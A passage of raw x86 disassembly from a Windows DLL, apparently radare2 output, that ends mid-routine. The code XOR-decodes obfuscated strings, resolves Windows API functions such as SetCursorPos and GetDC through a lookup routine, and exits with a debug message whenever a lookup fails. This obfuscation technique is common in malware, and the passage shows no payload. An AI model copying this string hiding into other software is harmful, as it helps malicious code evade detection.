nop dword [eax + eax]
xor byte [esp + eax + 0x286], cl
inc eax
cmp eax, 0xd
jge 0x10019096
mov cl, byte [esp + 0x285]
jmp 0x10019080
lea eax, [esp + 0x286]
mov byte [esp + 0x293], 0
push eax
push edx
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13e8], eax
test eax, eax
jne 0x10019142
movaps xmm0, xmmword [0x100a13d0]
xor ecx, ecx
movups xmmword [esp + 0xfa4], xmm0
mov dword [esp + 0xfc4], 0xa197938b
movaps xmm0, xmmword [0x100a1310]
movups xmmword [esp + 0xfb4], xmm0
mov dword [esp + 0xfc8], 0x85a2c49c
mov word [esp + 0xfcc], 0x888d
mov byte [esp + 0xfce], al
nop word [eax + eax]
mov al, byte [esp + 0xfa4]
xor byte [esp + ecx + 0xfa5], al
inc ecx
cmp ecx, 0x29
jl 0x10019110
lea eax, [esp + 0xfa5]
mov byte [esp + 0xfce], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x30
mov dword [esp + 0x120], 0x455e7530
mov dword [esp + 0x124], 0x5e59675d
xor eax, eax
mov dword [esp + 0x128], 0x43475f54
mov byte [esp + 0x12c], 0
nop
xor byte [esp + eax + 0x121], cl
inc eax
cmp eax, 0xb
jge 0x10019186
mov cl, byte [esp + 0x120]
jmp 0x10019170
lea eax, [esp + 0x121]
mov byte [esp + 0x12c], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13ec], eax
test eax, eax
jne 0x10019222
movaps xmm0, xmmword [0x100a1a20]
xor ecx, ecx
movups xmmword [esp + 0xb83], xmm0
mov dword [esp + 0xba3], 0xa4f7f3eb
movaps xmm0, xmmword [0x100a19c0]
movups xmmword [esp + 0xb93], xmm0
mov dword [esp + 0xba7], 0xe8ede5c2
mov byte [esp + 0xbab], al
mov al, byte [esp + 0xb83]
xor byte [esp + ecx + 0xb84], al
inc ecx
cmp ecx, 0x27
jl 0x100191f0
lea eax, [esp + 0xb84]
mov byte [esp + 0xbab], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0xa1], 0x90
mov al, 0xc3
xor al, byte [esp + 0xa1]
mov cl, 0xf8
xor cl, byte [esp + 0xa1]
or dl, 0xff
mov byte [esp + 0xa2], al
mov bl, 0xe7
mov byte [esp + 0xc], dl
mov ah, 0xc7
mov al, byte [esp + 0xc]
mov ch, 0xf9
mov byte [esp + 0xa3], cl
mov dh, 0xfe
mov cl, byte [esp + 0xa1]
mov bh, 0xf4
xor al, cl
mov byte [esp + 0xf], bl
mov byte [esp + 0xaa], al
xor ah, cl
mov al, byte [esp + 0xf]
xor ch, cl
xor al, cl
mov byte [esp + 0xa6], ah
mov byte [esp + 0xab], al
xor dl, cl
lea eax, [esp + 0xa2]
mov byte [esp + 0xa7], ch
push eax
push dword [0x100b12cc]
xor bl, cl
mov byte [esp + 0xb4], 0
xor dh, cl
mov byte [esp + 0xac], dl
xor bh, cl
mov byte [esp + 0xad], bl
mov ecx, 0x100b12b8
mov byte [esp + 0xb0], dh
mov byte [esp + 0xb1], bh
mov byte [esp + 0xb4], 0
call fcn.1001b880
mov dword [0x100b13f0], eax
test eax, eax
jne 0x10019353
movaps xmm0, xmmword [0x100a1080]
xor ecx, ecx
movups xmmword [esp + 0x9ec], xmm0
mov dword [esp + 0xa0c], 0x7e184f57
movaps xmm0, xmmword [0x100a10a0]
movups xmmword [esp + 0x9fc], xmm0
mov dword [esp + 0xa10], 0x545159
mov al, byte [esp + 0x9ec]
xor byte [esp + ecx + 0x9ed], al
inc ecx
cmp ecx, 0x26
jl 0x10019321
lea eax, [esp + 0x9ed]
mov byte [esp + 0xa13], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x34], 0
mov al, 0x49
xor al, byte [esp + 0x34]
mov ah, 0x6e
mov byte [esp + 0x35], al
mov cl, 0x73
mov al, byte [esp + 0x34]
mov dl, 0x57
xor ah, al
mov byte [esp + 0x3d], 0
mov ch, 0x64
mov byte [esp + 0x39], ah
mov dh, 0x6f
mov byte [esp + 0x3d], 0
xor cl, al
xor ch, al
mov bl, 0x69
mov byte [esp + 0x36], cl
mov bh, 0x77
mov byte [esp + 0x3a], ch
xor dl, al
xor bl, al
xor dh, al
mov byte [esp + 0x37], dl
xor bh, al
mov byte [esp + 0x38], bl
lea eax, [esp + 0x35]
mov byte [esp + 0x3b], dh
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
mov byte [esp + 0x44], bh
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13f4], eax
test eax, eax
jne 0x10019432
movaps xmm0, xmmword [0x100a1910]
movups xmmword [esp + 0x867], xmm0
mov dword [esp + 0x887], 0xd9d1f690
movaps xmm0, xmmword [0x100a1870]
movups xmmword [esp + 0x877], xmm0
mov word [esp + 0x88b], 0xdc
nop
mov al, byte [esp + 0x867]
xor byte [esp + ecx + 0x868], al
inc ecx
cmp ecx, 0x24
jl 0x10019400
lea eax, [esp + 0x868]
mov byte [esp + 0x88c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0a60]
movups xmmword [esp + 0x321], xmm0
mov al, byte [esp + 0x321]
xor byte [esp + ecx + 0x322], al
inc ecx
cmp ecx, 0xe
jl 0x10019441
lea eax, [esp + 0x322]
mov byte [esp + 0x330], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13f8], eax
test eax, eax
jne 0x10019502
movaps xmm0, xmmword [0x100a1420]
movups xmmword [esp + 0x1158], xmm0
mov dword [esp + 0x1178], 0x908dbc9f
movaps xmm0, xmmword [0x100a13e0]
movups xmmword [esp + 0x1168], xmm0
mov dword [esp + 0x117c], 0xaec8bf9c
mov dword [esp + 0x1180], 0x848189
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x1158]
xor byte [esp + ecx + 0x1159], al
inc ecx
cmp ecx, 0x2a
jl 0x100194d0
lea eax, [esp + 0x1159]
mov byte [esp + 0x1183], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1930]
movups xmmword [esp + 0x614], xmm0
mov dword [esp + 0x624], 0xd5e4c7df
mov word [esp + 0x628], 0xc4c8
mov byte [esp + 0x62a], 0
nop
mov al, byte [esp + 0x614]
xor byte [esp + ecx + 0x615], al
inc ecx
cmp ecx, 0x15
jl 0x10019530
lea eax, [esp + 0x615]
mov byte [esp + 0x62a], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13fc], eax
test eax, eax
jne 0x100195e3
movaps xmm0, xmmword [str.1_]
movups xmmword [esp + 0x182b], xmm0
mov word [esp + 0x185b], 0x1015
movaps xmm0, xmmword [0x100a0c30]
movups xmmword [esp + 0x183b], xmm0
mov byte [esp + 0x185d], cl
movaps xmm0, xmmword [0x100a0cc0]
movups xmmword [esp + 0x184b], xmm0
mov al, byte [esp + 0x182b]
xor byte [esp + ecx + 0x182c], al
inc ecx
cmp ecx, 0x31
jl 0x100195b1
lea eax, [esp + 0x182c]
mov byte [esp + 0x185d], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1610]
movups xmmword [esp + 0x756], xmm0
mov dword [esp + 0x766], 0xa3afb290
mov dword [esp + 0x76a], 0x89b3b3a5
mov word [esp + 0x76e], 0xa4
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x756]
xor byte [esp + ecx + 0x757], al
inc ecx
cmp ecx, 0x18
jl 0x10019620
lea eax, [esp + 0x757]
mov byte [esp + 0x76f], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1400], eax
test eax, eax
jne 0x100196e2
movaps xmm0, xmmword [0x100a1280]
xor ecx, ecx
movups xmmword [esp + 0x1a04], xmm0
mov dword [esp + 0x1a34], 0x79715630
movaps xmm0, xmmword [str.Qttbucc0WudGyt]
movups xmmword [esp + 0x1a14], xmm0
mov word [esp + 0x1a38], 0x7c
movaps xmm0, xmmword [0x100a1290]
movups xmmword [esp + 0x1a24], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1a04]
xor byte [esp + ecx + 0x1a05], al
inc ecx
cmp ecx, 0x34
jl 0x100196b0
lea eax, [esp + 0x1a05]
mov byte [esp + 0x1a39], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, pe_nt_image_headers32
mov dword [esp + 0x17e], 0xf3efd080
mov dword [esp + 0x182], 0xf3e5cdf4
xor eax, eax
mov dword [esp + 0x186], 0xe5e7e1f3
mov word [esp + 0x18a], 0xd7
xor byte [esp + eax + 0x17f], cl
inc eax
cmp eax, 0xc
jge 0x10019727
mov cl, byte [esp + 0x17e]
jmp 0x10019711
lea eax, [esp + 0x17f]
mov byte [esp + 0x18b], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1404], eax
test eax, eax
jne 0x100197d2
movaps xmm0, xmmword [0x100a1380]
xor ecx, ecx
movups xmmword [esp + 0xca5], xmm0
mov dword [esp + 0xcc5], 0xb7858781
movaps xmm0, xmmword [0x100a14b0]
movups xmmword [esp + 0xcb5], xmm0
mov dword [esp + 0xcc9], 0x8981a6c0
mov word [esp + 0xccd], 0x8c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xca5]
xor byte [esp + ecx + 0xca6], al
inc ecx
cmp ecx, 0x28
jl 0x100197a0
lea eax, [esp + 0xca6]
mov byte [esp + 0xcce], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0xad], 0x30
mov al, 0x72
xor al, byte [esp + 0xad]
mov cl, 0x5c
xor cl, byte [esp + 0xad]
mov ah, 0x5b
mov byte [esp + 0xae], al
mov ch, 0x79
mov byte [esp + 0xaf], cl
mov dl, 0x5f
mov cl, byte [esp + 0xad]
mov dh, 0x5e
mov byte [esp + 0xc], 0x45
xor ah, cl
mov al, byte [esp + 0xc]
xor ch, cl
xor al, cl
mov byte [esp + 0xf], 0x44
mov byte [esp + 0xb6], al
mov bl, 0x53
mov al, byte [esp + 0xf]
mov bh, 0x40
xor al, cl
mov byte [esp + 0xb2], ah
mov byte [esp + 0xb7], al
xor dl, cl
lea eax, [esp + 0xae]
mov byte [esp + 0xb3], ch
push eax
push dword [0x100b12cc]
xor bl, cl
mov byte [esp + 0xc0], 0
xor dh, cl
mov byte [esp + 0xb8], dl
xor bh, cl
mov byte [esp + 0xb9], bl
mov ecx, 0x100b12b8
mov byte [esp + 0xbc], dh
mov byte [esp + 0xbd], bh
mov byte [esp + 0xc0], 0
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1408], eax
test eax, eax
jne 0x10019902
movaps xmm0, xmmword [0x100a1bc0]
movups xmmword [esp + 0xa14], xmm0
mov dword [esp + 0xa34], 0xdeb8eced
movaps xmm0, xmmword [0x100a1a40]
movups xmmword [esp + 0xa24], xmm0
mov dword [esp + 0xa38], 0xf4f1f9
nop
mov al, byte [esp + 0xa14]
xor byte [esp + ecx + 0xa15], al
inc ecx
cmp ecx, 0x26
jl 0x100198d0
lea eax, [esp + 0xa15]
mov byte [esp + 0xa3b], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a19e0]
movups xmmword [esp + 0x62b], xmm0
mov dword [esp + 0x63b], 0xf6fed9e3
mov word [esp + 0x63f], 0xc7ff
mov byte [esp + 0x641], 0
nop
mov al, byte [esp + 0x62b]
xor byte [esp + ecx + 0x62c], al
inc ecx
cmp ecx, 0x15
jl 0x10019930
lea eax, [esp + 0x62c]
mov byte [esp + 0x641], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b140c], eax
test eax, eax
jne 0x100199e2
movaps xmm0, xmmword [0x100a1800]
movups xmmword [esp + 0x185e], xmm0
mov word [esp + 0x188e], 0xb0b5
movaps xmm0, xmmword [0x100a17d0]
movups xmmword [esp + 0x186e], xmm0
mov byte [esp + 0x1890], cl
movaps xmm0, xmmword [0x100a17e0]
movups xmmword [esp + 0x187e], xmm0
nop dword [eax]
mov al, byte [esp + 0x185e]
xor byte [esp + ecx + 0x185f], al
inc ecx
cmp ecx, 0x31
jl 0x100199b0
lea eax, [esp + 0x185f]
mov byte [esp + 0x1890], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1a00]
movups xmmword [esp + 0x412], xmm0
mov word [esp + 0x422], 0xf3
nop dword [eax + eax]
mov al, byte [esp + 0x412]
xor byte [esp + ecx + 0x413], al
inc ecx
cmp ecx, 0x10
jl 0x10019a00
lea eax, [esp + 0x413]
mov byte [esp + 0x423], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1410], eax
test eax, eax
jne 0x10019ac2
movaps xmm0, xmmword [0x100a14c0]
xor ecx, ecx
movups xmmword [esp + 0x13d1], xmm0
mov dword [esp + 0x13f1], 0x8495bd9d
movaps xmm0, xmmword [0x100a14e0]
movups xmmword [esp + 0x13e1], xmm0
mov dword [esp + 0x13f5], 0x83939982
mov dword [esp + 0x13f9], 0x9991b6d0
mov word [esp + 0x13fd], 0x9c
nop dword [eax]
mov al, byte [esp + 0x13d1]
xor byte [esp + ecx + 0x13d2], al
inc ecx
cmp ecx, 0x2c
jl 0x10019a90
lea eax, [esp + 0x13d2]
mov byte [esp + 0x13fe], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x18c], 0x74655300
mov dword [esp + 0x190], 0x73727543
xor eax, eax
mov dword [esp + 0x194], 0x6f50726f
mov word [esp + 0x198], 0x73
xor byte [esp + eax + 0x18d], cl
inc eax
cmp eax, 0xc
jge 0x10019b07
mov cl, byte [esp + 0x18c]
jmp 0x10019af1
lea eax, [esp + 0x18d]
mov byte [esp + 0x199], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1414], eax
test eax, eax
jne 0x10019bb2
movaps xmm0, xmmword [0x100a1380]
xor ecx, ecx
movups xmmword [esp + 0xccf], xmm0
mov dword [esp + 0xcef], 0x938fb092
movaps xmm0, xmmword [0x100a1460]
movups xmmword [esp + 0xcdf], xmm0
mov dword [esp + 0xcf3], 0x8981a6c0
mov word [esp + 0xcf7], 0x8c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xccf]
xor byte [esp + ecx + 0xcd0], al
inc ecx
cmp ecx, 0x28
jl 0x10019b80
lea eax, [esp + 0xcd0]
mov byte [esp + 0xcf8], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x95
mov byte [esp + 0xb9], 0xf0
mov byte [esp + 0xf], cl
mov al, 0xa3
xor al, byte [esp + 0xb9]
mov ah, 0x91
xor cl, byte [esp + 0xb9]
mov dl, 0x84
mov byte [esp + 0xba], al
mov ch, pe_nt_image_headers32
mov byte [esp + 0xbb], cl
mov dh, dl
mov cl, byte [esp + 0xb9]
mov bl, 0xb3
mov byte [esp + 0xc], 0x82
xor ah, cl
mov al, byte [esp + 0xc]
xor ch, cl
xor al, cl
mov byte [esp + 0xbe], ah
mov byte [esp + 0xc2], al
mov bh, 0x85
mov al, byte [esp + 0xf]
xor dl, cl
xor al, cl
mov byte [esp + 0xbf], ch
mov byte [esp + 0xc3], al
xor bl, cl
lea eax, [esp + 0xba]
mov byte [esp + 0xc4], 0
push eax
push dword [0x100b12cc]
xor dh, cl
mov byte [esp + 0xc4], dl
xor bh, cl
mov byte [esp + 0xc5], bl
mov ecx, 0x100b12b8
mov byte [esp + 0xc8], dh
mov byte [esp + 0xc9], bh
mov byte [esp + 0xcc], 0
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1418], eax
test eax, eax
jne 0x10019ce2
movaps xmm0, xmmword [0x100a17a0]
movups xmmword [esp + 0xa3c], xmm0
mov dword [esp + 0xa5c], 0x9ef8bdaa
movaps xmm0, xmmword [0x100a16c0]
movups xmmword [esp + 0xa4c], xmm0
mov dword [esp + 0xa60], 0xb4b1b9
nop dword [eax]
mov al, byte [esp + 0xa3c]
xor byte [esp + ecx + 0xa3d], al
inc ecx
cmp ecx, 0x26
jl 0x10019cb0
lea eax, [esp + 0xa3d]
mov byte [esp + 0xa63], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0d10]
movups xmmword [esp + 0x395], xmm0
mov byte [esp + 0x3a5], 0
nop dword [eax]
mov al, byte [esp + 0x395]
xor byte [esp + ecx + 0x396], al
inc ecx
cmp ecx, 0xf
jl 0x10019d00
lea eax, [esp + 0x396]
mov byte [esp + 0x3a5], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b141c], eax
test eax, eax
jne 0x10019dc2
movaps xmm0, xmmword [0x100a0e60]
xor ecx, ecx
movups xmmword [esp + 0x1290], xmm0
mov dword [esp + 0x12b0], 0x3b04393b
movaps xmm0, xmmword [0x100a0d30]
movups xmmword [esp + 0x12a0], xmm0
mov dword [esp + 0x12b4], 0x74203a3d
mov dword [esp + 0x12b8], 0x383d3512
mov byte [esp + 0x12bc], al
nop dword [eax]
mov al, byte [esp + 0x1290]
xor byte [esp + ecx + 0x1291], al
inc ecx
cmp ecx, 0x2b
jl 0x10019d90
lea eax, [esp + 0x1291]
mov byte [esp + 0x12bc], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x18
mov dword [esp + 0x12d], 0x6d777518
mov dword [esp + 0x131], 0x7d477d6b
xor eax, eax
mov dword [esp + 0x135], 0x6c767d6e
mov byte [esp + 0x139], 0
nop
xor byte [esp + eax + 0x12e], cl
inc eax
cmp eax, 0xb
jge 0x10019e06
mov cl, byte [esp + 0x12d]
jmp 0x10019df0
lea eax, [esp + 0x12e]
mov byte [esp + 0x139], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1420], eax
test eax, eax
jne 0x10019ea2
movaps xmm0, xmmword [0x100a1ab0]
xor ecx, ecx
movups xmmword [esp + 0xbac], xmm0
mov dword [esp + 0xbcc], 0xacf8e2e9
movaps xmm0, xmmword [0x100a1bb0]
movups xmmword [esp + 0xbbc], xmm0
mov dword [esp + 0xbd0], 0xe0e5edca
mov byte [esp + 0xbd4], al
nop dword [eax]
mov al, byte [esp + 0xbac]
xor byte [esp + ecx + 0xbad], al
inc ecx
cmp ecx, 0x27
jl 0x10019e70
lea eax, [esp + 0xbad]
mov byte [esp + 0xbd4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xa0
mov dword [esp + 0x13a], 0xd9c5cba0
mov dword [esp + 0x13e], 0xc5ffc4c2
xor eax, eax
mov dword [esp + 0x142], 0xd4cec5d6
mov byte [esp + 0x146], 0
nop
xor byte [esp + eax + 0x13b], cl
inc eax
cmp eax, 0xb
jge 0x10019ee6
mov cl, byte [esp + 0x13a]
jmp 0x10019ed0
lea eax, [esp + 0x13b]
mov byte [esp + 0x146], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1424], eax
test eax, eax
jne 0x10019f82
movaps xmm0, xmmword [0x100a1960]
movups xmmword [esp + 0xbd5], xmm0
mov dword [esp + 0xbf5], 0x94c0dad1
movaps xmm0, xmmword [0x100a1810]
movups xmmword [esp + 0xbe5], xmm0
mov dword [esp + 0xbf9], 0xd8ddd5f2
mov byte [esp + 0xbfd], cl
nop dword [eax]
mov al, byte [esp + 0xbd5]
xor byte [esp + ecx + 0xbd6], al
inc ecx
cmp ecx, 0x27
jl 0x10019f50
lea eax, [esp + 0xbd6]
mov byte [esp + 0xbfd], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0aa0]
movups xmmword [esp + 0x331], xmm0
mov al, byte [esp + 0x331]
xor byte [esp + ecx + 0x332], al
inc ecx
cmp ecx, 0xe
jl 0x10019f91
lea eax, [esp + 0x332]
mov byte [esp + 0x340], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1428], eax
test eax, eax
jne 0x1001a042
movaps xmm0, xmmword [0x100a0f70]
xor ecx, ecx
movups xmmword [esp + 0x1184], xmm0
mov dword [esp + 0x11a4], 0x4d634449
movaps xmm0, xmmword [0x100a10e0]
movups xmmword [esp + 0x1194], xmm0
mov dword [esp + 0x11a8], 0x6e087f51
mov dword [esp + 0x11ac], 0x444149
nop
mov al, byte [esp + 0x1184]
xor byte [esp + ecx + 0x1185], al
inc ecx
cmp ecx, 0x2a
jl 0x1001a010
lea eax, [esp + 0x1185]
mov byte [esp + 0x11af], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xc0
mov dword [esp + 0x19a], 0xaea593c0
mov dword [esp + 0x19e], 0xb3a58da4
xor eax, eax
mov dword [esp + 0x1a2], 0xa5a7a1b3
mov word [esp + 0x1a6], 0x97
xor byte [esp + eax + 0x19b], cl
inc eax
cmp eax, 0xc
jge 0x1001a087
mov cl, byte [esp + 0x19a]
jmp 0x1001a071
lea eax, [esp + 0x19b]
mov byte [esp + 0x1a7], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b142c], eax
test eax, eax
jne 0x1001a122
movaps xmm0, xmmword [0x100a0b10]
xor ecx, ecx
movups xmmword [esp + 0xcf9], xmm0
mov dword [esp + 0xd19], 0x37050701
movaps xmm0, xmmword [0x100a0c50]
movups xmmword [esp + 0xd09], xmm0
mov dword [esp + 0xd1d], 0x9012640
mov word [esp + 0xd21], 0xc
mov al, byte [esp + 0xcf9]
xor byte [esp + ecx + 0xcfa], al
inc ecx
cmp ecx, 0x28
jl 0x1001a0f0
lea eax, [esp + 0xcfa]
mov byte [esp + 0xd22], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x38
mov dword [esp + 0x147], 0x59577438
mov dword [esp + 0x14b], 0x4a4d7b5c
xor eax, eax
mov dword [esp + 0x14f], 0x6f4a574b
mov byte [esp + 0x153], 0
nop
xor byte [esp + eax + 0x148], cl
inc eax
cmp eax, 0xb
jge 0x1001a166
mov cl, byte [esp + 0x147]
jmp 0x1001a150
lea eax, [esp + 0x148]
mov byte [esp + 0x153], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1430], eax
test eax, eax
jne 0x1001a202
movaps xmm0, xmmword [0x100a0fa0]
xor ecx, ecx
movups xmmword [esp + 0xbfe], xmm0
mov dword [esp + 0xc1e], 0xc7b5e43
movaps xmm0, xmmword [0x100a1120]
movups xmmword [esp + 0xc0e], xmm0
mov dword [esp + 0xc22], 0x40454d6a
mov byte [esp + 0xc26], al
nop dword [eax]
mov al, byte [esp + 0xbfe]
xor byte [esp + ecx + 0xbff], al
inc ecx
cmp ecx, 0x27
jl 0x1001a1d0
lea eax, [esp + 0xbff]
mov byte [esp + 0xc26], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x40
mov dword [esp + 0x294], 0x33250440
mov dword [esp + 0x298], 0x392f3234
xor eax, eax
mov dword [esp + 0x29c], 0x33323503
mov word [esp + 0x2a0], 0x322f
mov byte [esp + 0x2a2], 0
nop dword [eax]
xor byte [esp + eax + 0x295], cl
inc eax
cmp eax, 0xd
jge 0x1001a256
mov cl, byte [esp + 0x294]
jmp 0x1001a240
lea eax, [esp + 0x295]
mov byte [esp + 0x2a2], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1434], eax
test eax, eax
jne 0x1001a302
movaps xmm0, xmmword [str.l7__]
xor ecx, ecx
movups xmmword [esp + 0xfcf], xmm0
mov dword [esp + 0xfef], 0x31f1e19
movaps xmm0, xmmword [0x100a0db0]
movups xmmword [esp + 0xfdf], xmm0
mov dword [esp + 0xff3], 0xd2a4c1e
mov byte [esp + 0xff7], 5
mov word [esp + 0xff8], ax
nop dword [eax]
mov al, byte [esp + 0xfcf]
xor byte [esp + ecx + 0xfd0], al
inc ecx
cmp ecx, 0x29
jl 0x1001a2d0
lea eax, [esp + 0xfd0]
mov byte [esp + 0xff9], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xf8
mov dword [esp + 0x2a3], 0x8c9dbff8
mov dword [esp + 0x2a7], 0x8b8a8dbb
xor eax, eax
mov dword [esp + 0x2ab], 0x96b18a97
mov word [esp + 0x2af], 0x979e
mov byte [esp + 0x2b1], 0
nop dword [eax]
xor byte [esp + eax + 0x2a4], cl
inc eax
cmp eax, 0xd
jge 0x1001a356
mov cl, byte [esp + 0x2a3]
jmp 0x1001a340
lea eax, [esp + 0x2a4]
mov byte [esp + 0x2b1], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1438], eax
test eax, eax
jne 0x1001a402
movaps xmm0, xmmword [0x100a1650]
movups xmmword [esp + 0xffa], xmm0
mov dword [esp + 0x101a], 0xa2aa8db6
movaps xmm0, xmmword [0x100a16b0]
movups xmmword [esp + 0x100a], xmm0
mov dword [esp + 0x101e], 0xa582e4ab
mov word [esp + 0x1022], 0xa8ad
mov byte [esp + 0x1024], cl
nop word [eax + eax]
mov al, byte [esp + 0xffa]
xor byte [esp + ecx + 0xffb], al
inc ecx
cmp ecx, 0x29
jl 0x1001a3d0
lea eax, [esp + 0xffb]
mov byte [esp + 0x1024], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1210]
movups xmmword [esp + 0x424], xmm0
mov word [esp + 0x434], 0x77
nop dword [eax + eax]
mov al, byte [esp + 0x424]
xor byte [esp + ecx + 0x425], al
inc ecx
cmp ecx, 0x10
jl 0x1001a420
lea eax, [esp + 0x425]
mov byte [esp + 0x435], 0
push eax
push dword [0x100b12cc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b143c], eax
test eax, eax
jne 0x1001a4e2
movaps xmm0, xmmword [0x100a0df0]
xor ecx, ecx
movups xmmword [esp + 0x13ff], xmm0
mov dword [esp + 0x141f], 0x3907203f
movaps xmm0, xmmword [0x100a0d00]
movups xmmword [esp + 0x140f], xmm0
mov dword [esp + 0x1423], 0x273f343e
mov dword [esp + 0x1427], 0x39311670
mov word [esp + 0x142b], 0x3c
nop dword [eax]
mov al, byte [esp + 0x13ff]
xor byte [esp + ecx + 0x1400], al
inc ecx
cmp ecx, 0x2c
jl 0x1001a4b0
lea eax, [esp + 0x1400]
mov byte [esp + 0x142c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ch, 0x28
mov byte [esp + 0x1a], 0
mov al, 0x6f
mov byte [esp + 0x14], ch
mov ah, 0x6b
mov byte [esp + 0x1a], 0
xor al, ch
xor ah, ch
mov byte [esp + 0x15], al
mov cl, 0x4d
mov byte [esp + 0x19], ah
xor cl, ch
lea eax, [esp + 0x15]
mov byte [esp + 0x16], cl
mov dl, 0x5c
mov bl, 0x6c
push eax
push dword [0x100b12cc]
xor dl, ch
xor bl, ch
mov ecx, 0x100b12b8
mov byte [esp + 0x1f], dl
mov byte [esp + 0x20], bl
call fcn.1001b880
mov dword [0x100b1440], eax
test eax, eax
jne 0x1001a5a2
movaps xmm0, xmmword [0x100a1740]
xor ecx, ecx
movups xmmword [esp + 0x7fa], xmm0
mov word [esp + 0x81a], 0xb8bd
movaps xmm0, xmmword [0x100a1730]
movups xmmword [esp + 0x80a], xmm0
mov byte [esp + 0x81c], al
nop dword [eax]
mov al, byte [esp + 0x7fa]
